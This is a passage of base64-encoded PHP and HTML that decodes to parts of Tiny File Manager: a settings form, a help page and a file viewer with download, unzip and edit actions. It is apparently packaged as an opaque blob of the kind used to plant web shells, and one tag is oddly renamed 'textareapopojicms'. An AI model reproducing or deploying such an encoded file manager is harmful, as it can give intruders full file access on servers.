2xhc3M9ImNvbC1zbS05Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tY2hlY2sgZm9ybS1zd2l0Y2giPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImZvcm0tY2hlY2staW5wdXQiIHR5cGU9ImNoZWNrYm94IiByb2xlPSJzd2l0Y2giIGlkPSJqcy1zaG93LWhpZGRlbiIgbmFtZT0ianMtc2hvdy1oaWRkZW4iIHZhbHVlPSJ0cnVlIiA8P3BocCBlY2hvICRzaG93X2hpZGRlbl9maWxlcyA/ICdjaGVja2VkJyA6ICcnOyA/PiAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYi0zIHJvdyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImpzLWhpZGUtY29scyIgY2xhc3M9ImNvbC1zbS0zIGNvbC1mb3JtLWxhYmVsIj48P3BocCBlY2hvIGxuZygnSGlkZUNvbHVtbnMnKSA/PjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1zbS05Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tY2hlY2sgZm9ybS1zd2l0Y2giPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImZvcm0tY2hlY2staW5wdXQiIHR5cGU9ImNoZWNrYm94IiByb2xlPSJzd2l0Y2giIGlkPSJqcy1oaWRlLWNvbHMiIG5hbWU9ImpzLWhpZGUtY29scyIgdmFsdWU9InRydWUiIDw/cGhwIGVjaG8gJGhpZGVfQ29scyA/ICdjaGVja2VkJyA6ICcnOyA/PiAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYi0zIHJvdyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImpzLTMtMSIgY2xhc3M9ImNvbC1zbS0zIGNvbC1mb3JtLWxhYmVsIj48P3BocCBlY2hvIGxuZygnVGhlbWUnKSA/PjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1zbS01Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgY2xhc3M9ImZvcm0tc2VsZWN0IHctMTAwIiBpZD0ianMtMy0wIiBuYW1lPSJqcy10aGVtZS0zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSdsaWdodCcgPD9waHAgaWYoJHRoZW1lID09ICJsaWdodCIpe2VjaG8gInNlbGVjdGVkIjt9ID8+Pjw/cGhwIGVjaG8gbG5nKCdsaWdodCcpID8+PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0nZGFyaycgPD9waHAgaWYoJHRoZW1lID09ICJkYXJrIil7ZWNobyAic2VsZWN0ZWQiO30gPz4+PD9waHAgZWNobyBsbmcoJ2RhcmsnKSA/Pjwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYi0zIHJvdyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1zbS0xMCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tc3VjY2VzcyI+IDxpIGNsYXNzPSJmYSBmYS1jaGVjay1jaXJjbGUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ1NhdmUnKTsgPz48L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2PgogICAgPD9waHAKICAgIGZtX3Nob3dfZm9vdGVyKCk7CiAgICBleGl0Owp9CgppZiAoaXNzZXQoJF9HRVRbJ2hlbHAnXSkpIHsKICAgIGZtX3Nob3dfaGVhZGVyKCk7IC8vIEhFQURFUgogICAgZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTsgLy8gY3VycmVudCBwYXRoCiAgICBnbG9iYWwgJGNmZywgJGxhbmc7CiAgICA/PgoKICAgIDxkaXYgY2xhc3M9ImNvbC1tZC04IG9mZnNldC1tZC0yIHB0LTMiPgogICAgICAgIDxkaXYgY2xhc3M9ImNhcmQgbWItMiA8P3BocCBlY2hvIGZtX2dldF90aGVtZSgpOyA/PiI+CiAgICAgICAgICAgIDxoNiBjbGFzcz0iY2FyZC1oZWFkZXIgZC1mbGV4IGp1c3RpZnktY29udGVudC1iZXR3ZWVuIj4KICAgICAgICAgICAgICAgIDxzcGFuPjxpIGNsYXNzPSJmYSBmYS1leGNsYW1hdGlvbi1jaXJjbGUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0hlbHAnKSA/Pjwvc3Bhbj4KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gRk1fUEFUSCA/PiIgY2xhc3M9InRleHQtZGFuZ2VyIj48aSBjbGFzcz0iZmEgZmEtdGltZXMtY2lyY2xlLW8iPjwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpPz48L2E+CiAgICAgICAgICAgIDwvaDY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtYm9keSI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC14cy0xMiBjb2wtc20tNiI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxoMz48YSBocmVmPSJodHRwczovL2dpdGh1Yi5jb20vcHJhc2F0aG1hbmkvdGlueWZpbGVtYW5hZ2VyIiB0YXJnZXQ9Il9ibGFuayIgY2xhc3M9ImFwcC12LXRpdGxlIj4gVGlueSBGaWxlIE1hbmFnZXIgPD9waHAgZWNobyBWRVJTSU9OOyA/PjwvYT48L2gzPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgPHA+QXV0aG9yOiBQcmFzYXRoIE1hbmk8L3A+CiAgICAgICAgICAgICAgICAgICAgICAgIDxwPk1haWwgVXM6IDxhIGhyZWY9Im1haWx0bzpjY3Bwcm9ncmFtbWVyc0BnbWFpbC5jb20iPmNjcHByb2dyYW1tZXJzW2F0XWdtYWlsLmNvbTwvYT4gPC9wPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC14cy0xMiBjb2wtc20tNiI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHVsIGNsYXNzPSJsaXN0LWdyb3VwIGxpc3QtZ3JvdXAtZmx1c2giPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibGlzdC1ncm91cC1pdGVtIj48YSBocmVmPSJodHRwczovL2dpdGh1Yi5jb20vcHJhc2F0aG1hbmkvdGlueWZpbGVtYW5hZ2VyL3dpa2kiIHRhcmdldD0iX2JsYW5rIj48aSBjbGFzcz0iZmEgZmEtcXVlc3Rpb24tY2lyY2xlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdIZWxwIERvY3VtZW50cycpID8+IDwvYT4gPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Imxpc3QtZ3JvdXAtaXRlbSI+PGEgaHJlZj0iaHR0cHM6Ly9naXRodWIuY29tL3ByYXNhdGhtYW5pL3RpbnlmaWxlbWFuYWdlci9pc3N1ZXMiIHRhcmdldD0iX2JsYW5rIj48aSBjbGFzcz0iZmEgZmEtYnVnIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdSZXBvcnQgSXNzdWUnKSA/PjwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmKCFGTV9SRUFET05MWSkgeyA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibGlzdC1ncm91cC1pdGVtIj48YSBocmVmPSJqYXZhc2NyaXB0OnNob3dfbmV3X3B3ZCgpOyI+PGkgY2xhc3M9ImZhIGZhLWxvY2siPjwvaT4gPD9waHAgZWNobyBsbmcoJ0dlbmVyYXRlIG5ldyBwYXNzd29yZCBoYXNoJykgPz48L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCB9ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93IGpzLW5ldy1wd2QgaGlkZGVuIG10LTIiPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC0xMiI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGNsYXNzPSJmb3JtLWlubGluZSIgb25zdWJtaXQ9InJldHVybiBuZXdfcGFzc3dvcmRfaGFzaCh0aGlzKSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0eXBlIiB2YWx1ZT0icHdkaGFzaCIgYXJpYS1sYWJlbD0iaGlkZGVuIiBhcmlhLWhpZGRlbj0idHJ1ZSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIG1iLTIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9InN0YXRpY0VtYWlsMiI+PD9waHAgZWNobyBsbmcoJ0dlbmVyYXRlIG5ldyBwYXNzd29yZCBoYXNoJykgPz48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIG14LXNtLTMgbWItMiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iaW5wdXRQYXNzd29yZDIiIGNsYXNzPSJzci1vbmx5Ij48P3BocCBlY2hvIGxuZygnUGFzc3dvcmQnKSA/PjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wgYnRuLXNtIiBpZD0iaW5wdXRQYXNzd29yZDIiIG5hbWU9ImlucHV0UGFzc3dvcmQyIiBwbGFjZWhvbGRlcj0iPD9waHAgZWNobyBsbmcoJ1Bhc3N3b3JkJykgPz4iIHJlcXVpcmVkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tc3VjY2VzcyBidG4tc20gbWItMiI+PD9waHAgZWNobyBsbmcoJ0dlbmVyYXRlJykgPz48L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWFwb3BvamljbXMgY2xhc3M9ImZvcm0tY29udHJvbCIgcm93cz0iMiIgcmVhZG9ubHkgaWQ9ImpzLXB3ZC1yZXN1bHQiPjwvdGV4dGFyZWFwb3BvamljbXM+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KICAgIDw/cGhwCiAgICBmbV9zaG93X2Zvb3RlcigpOwogICAgZXhpdDsKfQoKLy8gZmlsZSB2aWV3ZXIKaWYgKGlzc2V0KCRfR0VUWyd2aWV3J10pKSB7CiAgICAkZmlsZSA9ICRfR0VUWyd2aWV3J107CiAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUsIGZhbHNlKTsKICAgICRmaWxlID0gc3RyX3JlcGxhY2UoJy8nLCAnJywgJGZpbGUpOwogICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJy8nIC4gJGZpbGUpIHx8ICFmbV9pc19leGNsdWRlX2l0ZW1zKCRmaWxlKSkgewogICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTsKICAgICAgICAkRk1fUEFUSD1GTV9QQVRIOyBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7CiAgICB9CgogICAgZm1fc2hvd19oZWFkZXIoKTsgLy8gSEVBREVSCiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpOyAvLyBjdXJyZW50IHBhdGgKCiAgICAkZmlsZV91cmwgPSBGTV9ST09UX1VSTCAuIGZtX2NvbnZlcnRfd2luKChGTV9QQVRIICE9ICcnID8gJy8nIC4gRk1fUEFUSCA6ICcnKSAuICcvJyAuICRmaWxlKTsKICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICcvJyAuICRmaWxlOwoKICAgICRleHQgPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmaWxlX3BhdGgsIFBBVEhJTkZPX0VYVEVOU0lPTikpOwogICAgJG1pbWVfdHlwZSA9IGZtX2dldF9taW1lX3R5cGUoJGZpbGVfcGF0aCk7CiAgICAkZmlsZXNpemVfcmF3ID0gZm1fZ2V0X3NpemUoJGZpbGVfcGF0aCk7CiAgICAkZmlsZXNpemUgPSBmbV9nZXRfZmlsZXNpemUoJGZpbGVzaXplX3Jhdyk7CgogICAgJGlzX3ppcCA9IGZhbHNlOwogICAgJGlzX2d6aXAgPSBmYWxzZTsKICAgICRpc19pbWFnZSA9IGZhbHNlOwogICAgJGlzX2F1ZGlvID0gZmFsc2U7CiAgICAkaXNfdmlkZW8gPSBmYWxzZTsKICAgICRpc190ZXh0ID0gZmFsc2U7CiAgICAkaXNfb25saW5lVmlld2VyID0gZmFsc2U7CgogICAgJHZpZXdfdGl0bGUgPSAnRmlsZSc7CiAgICAkZmlsZW5hbWVzID0gZmFsc2U7IC8vIGZvciB6aXAKICAgICRjb250ZW50ID0gJyc7IC8vIGZvciB0ZXh0CiAgICAkb25saW5lX3ZpZXdlciA9IHN0cnRvbG93ZXIoRk1fRE9DX1ZJRVdFUik7CgogICAgaWYoJG9ubGluZV92aWV3ZXIgJiYgJG9ubGluZV92aWV3ZXIgIT09ICdmYWxzZScgJiYgaW5fYXJyYXkoJGV4dCwgZm1fZ2V0X29ubGluZVZpZXdlcl9leHRzKCkpKXsKICAgICAgICAkaXNfb25saW5lVmlld2VyID0gdHJ1ZTsKICAgIH0KICAgIGVsc2VpZiAoJGV4dCA9PSAnemlwJyB8fCAkZXh0ID09ICd0YXInKSB7CiAgICAgICAgJGlzX3ppcCA9IHRydWU7CiAgICAgICAgJHZpZXdfdGl0bGUgPSAnQXJjaGl2ZSc7CiAgICAgICAgJGZpbGVuYW1lcyA9IGZtX2dldF96aWZfaW5mbygkZmlsZV9wYXRoLCAkZXh0KTsKICAgIH0gZWxzZWlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfaW1hZ2VfZXh0cygpKSkgewogICAgICAgICRpc19pbWFnZSA9IHRydWU7CiAgICAgICAgJHZpZXdfdGl0bGUgPSAnSW1hZ2UnOwogICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGZtX2dldF9hdWRpb19leHRzKCkpKSB7CiAgICAgICAgJGlzX2F1ZGlvID0gdHJ1ZTsKICAgICAgICAkdmlld190aXRsZSA9ICdBdWRpbyc7CiAgICB9IGVsc2VpZiAoaW5fYXJyYXkoJGV4dCwgZm1fZ2V0X3ZpZGVvX2V4dHMoKSkpIHsKICAgICAgICAkaXNfdmlkZW8gPSB0cnVlOwogICAgICAgICR2aWV3X3RpdGxlID0gJ1ZpZGVvJzsKICAgIH0gZWxzZWlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfdGV4dF9leHRzKCkpIHx8IHN1YnN0cigkbWltZV90eXBlLCAwLCA0KSA9PSAndGV4dCcgfHwgaW5fYXJyYXkoJG1pbWVfdHlwZSwgZm1fZ2V0X3RleHRfbWltZXMoKSkpIHsKICAgICAgICAkaXNfdGV4dCA9IHRydWU7CiAgICAgICAgJGNvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygkZmlsZV9wYXRoKTsKICAgIH0KCiAgICA/PgogICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtMTIiPgogICAgICAgICAgICA8cCBjbGFzcz0iYnJlYWstd29yZCI+PGI+PD9waHAgZWNobyBsbmcoJHZpZXdfdGl0bGUpID8+ICI8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbigkZmlsZSkpID8+IjwvYj48L3A+CiAgICAgICAgICAgIDxwIGNsYXNzPSJicmVhay13b3JkIj4KICAgICAgICAgICAgICAgIDw/cGhwICRkaXNwbGF5X3BhdGggPSBmbV9nZXRfZGlzcGxheV9wYXRoKCRmaWxlX3BhdGgpOyA/PgogICAgICAgICAgICAgICAgPHN0cm9uZz48P3BocCBlY2hvICRkaXNwbGF5X3BhdGhbJ2xhYmVsJ107ID8+Ojwvc3Ryb25nPiA8P3BocCBlY2hvICRkaXNwbGF5X3BhdGhbJ3BhdGgnXTsgPz48YnI+CiAgICAgICAgICAgICAgICA8c3Ryb25nPkZpbGUgc2l6ZTo8L3N0cm9uZz4gPD9waHAgZWNobyAoJGZpbGVzaXplX3JhdyA8PSAxMDAwKSA/ICIkZmlsZXNpemVfcmF3IGJ5dGVzIiA6ICRmaWxlc2l6ZTsgPz48YnI+CiAgICAgICAgICAgICAgICA8c3Ryb25nPk1JTUUtdHlwZTo8L3N0cm9uZz4gPD9waHAgZWNobyAkbWltZV90eXBlID8+PGJyPgogICAgICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgICAgIC8vIFpJUCBpbmZvCiAgICAgICAgICAgICAgICBpZiAoKCRpc196aXAgfHwgJGlzX2d6aXApICYmICRmaWxlbmFtZXMgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgJHRvdGFsX2ZpbGVzID0gMDsKICAgICAgICAgICAgICAgICAgICAkdG90YWxfY29tcCA9IDA7CiAgICAgICAgICAgICAgICAgICAgJHRvdGFsX3VuY29tcCA9IDA7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGZpbGVuYW1lcyBhcyAkZm4pIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkZm5bJ2ZvbGRlciddKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfZmlsZXMrKzsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfY29tcCArPSAkZm5bJ2NvbXByZXNzZWRfc2l6ZSddOwogICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfdW5jb21wICs9ICRmblsnZmlsZXNpemUnXTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgPz4KICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnRmlsZXMgaW4gYXJjaGl2ZScpID8+OiA8P3BocCBlY2hvICR0b3RhbF9maWxlcyA/Pjxicj4KICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnVG90YWwgc2l6ZScpID8+OiA8P3BocCBlY2hvIGZtX2dldF9maWxlc2l6ZSgkdG90YWxfdW5jb21wKSA/Pjxicj4KICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnU2l6ZSBpbiBhcmNoaXZlJykgPz46IDw/cGhwIGVjaG8gZm1fZ2V0X2ZpbGVzaXplKCR0b3RhbF9jb21wKSA/Pjxicj4KICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnQ29tcHJlc3Npb24nKSA/PjogPD9waHAgZWNobyByb3VuZCgoJHRvdGFsX2NvbXAgLyBtYXgoJHRvdGFsX3VuY29tcCwgMSkpICogMTAwKSA/PiU8YnI+CiAgICAgICAgICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIC8vIEltYWdlIGluZm8KICAgICAgICAgICAgICAgIGlmICgkaXNfaW1hZ2UpIHsKICAgICAgICAgICAgICAgICAgICAkaW1hZ2Vfc2l6ZSA9IGdldGltYWdlc2l6ZSgkZmlsZV9wYXRoKTsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8c3Ryb25nPicubG5nKCdJbWFnZSBzaXplJykuJzo8L3N0cm9uZz4gJyAuIChpc3NldCgkaW1hZ2Vfc2l6ZVswXSkgPyAkaW1hZ2Vfc2l6ZVswXSA6ICcwJykgLiAnIHggJyAuIChpc3NldCgkaW1hZ2Vfc2l6ZVsxXSkgPyAkaW1hZ2Vfc2l6ZVsxXSA6ICcwJykgLiAnPGJyPic7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAvLyBUZXh0IGluZm8KICAgICAgICAgICAgICAgIGlmICgkaXNfdGV4dCkgewogICAgICAgICAgICAgICAgICAgICRpc191dGY4ID0gZm1faXNfdXRmOCgkY29udGVudCk7CiAgICAgICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnaWNvbnYnKSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRpc191dGY4KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9IGljb252KEZNX0lDT05WX0lOUFVUX0VOQywgJ1VURi04Ly9JR05PUkUnLCAkY29udGVudCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPHN0cm9uZz4nLmxuZygnQ2hhcnNldCcpLic6PC9zdHJvbmc+ICcgLiAoJGlzX3V0ZjggPyAndXRmLTgnIDogJzggYml0JykgLiAnPGJyPic7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICA8L3A+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImQtZmxleCBhbGlnbi1pdGVtcy1jZW50ZXIgbWItMyI+CiAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGNsYXNzPSJkLWlubGluZSBtcy0yIiBhY3Rpb249Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmRsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PiI+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idG9rZW4iIHZhbHVlPSI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz4iPgogICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1saW5rIHRleHQtZGVjb3JhdGlvbi1ub25lIGZ3LWJvbGQgcC0wIj48aSBjbGFzcz0iZmEgZmEtY2xvdWQtZG93bmxvYWQiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0Rvd25sb2FkJykgPz48L2J1dHRvbj4gwqAKICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgIDxiIGNsYXNzPSJtcy0yIj48YSBocmVmPSI8P3BocCBlY2hvIGZtX2VuYygkZmlsZV91cmwpID8+IiB0YXJnZXQ9Il9ibGFuayI+PGkgY2xhc3M9ImZhIGZhLWV4dGVybmFsLWxpbmstc3F1YXJlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdPcGVuJykgPz48L2E+PC9iPgogICAgICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgICAgIC8vIFpJUCBhY3Rpb25zCiAgICAgICAgICAgICAgICBpZiAoIUZNX1JFQURPTkxZICYmICgkaXNfemlwIHx8ICRpc19nemlwKSAmJiAkZmlsZW5hbWVzICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICR6aXBfbmFtZSA9IHBhdGhpbmZvKCRmaWxlX3BhdGgsIFBBVEhJTkZPX0ZJTEVOQU1FKTsKICAgICAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgY2xhc3M9ImQtaW5saW5lIG1zLTIiPgogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0b2tlbiIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InVuemlwIiB2YWx1ZT0iPD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpOyA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1saW5rIHRleHQtZGVjb3JhdGlvbi1ub25lIGZ3LWJvbGQgcC0wIiBzdHlsZT0iZm9udC1zaXplOiAxNHB4OyI+PGkgY2xhc3M9ImZhIGZhLWNoZWNrLWNpcmNsZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnVW5aaXAnKSA/PjwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgIDwvZm9ybT7CoAogICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgY2xhc3M9ImQtaW5saW5lIG1zLTIiPgogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0b2tlbiIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InVuemlwIiB2YWx1ZT0iPD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpOyA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InRvZm9sZGVyIiB2YWx1ZT0iMSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1saW5rIHRleHQtZGVjb3JhdGlvbi1ub25lIGZ3LWJvbGQgcC0wIiBzdHlsZT0iZm9udC1zaXplOiAxNHB4OyIgdGl0bGU9IlVuWmlwIHRvIDw/cGhwIGVjaG8gZm1fZW5jKCR6aXBfbmFtZSkgPz4iPjxpIGNsYXNzPSJmYSBmYS1jaGVjay1jaXJjbGUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ1VuWmlwVG9Gb2xkZXInKSA/PjwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgIDwvZm9ybT7CoAogICAgICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJGlzX3RleHQgJiYgIUZNX1JFQURPTkxZKSB7CiAgICAgICAgICAgICAgICAgICAgPz4KICAgICAgICAgICAgICAgICAgICA8YiBjbGFzcz0ibXMtMiI+PGEgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIKSkgPz4mZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4iIGNsYXNzPSJlZGl0LWZpbGUiPjxpIGNsYXNzPSJmYSBmYS1wZW5jaWwtc3F1YXJlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdFZGl0JykgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPC9hPjwvYj4gwqAKICAgICAgICAgICAgICAgICAgICA8YiBjbGFzcz0ibXMtMiI+PGEgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIKSkgPz4mZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4mZW52PWFjZSIKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsYXNzPSJlZGl0LWZpbGUiPjxpIGNsYXNzPSJmYSBmYS1wZW5jaWwtc3F1YXJlLW8iPjwvaT4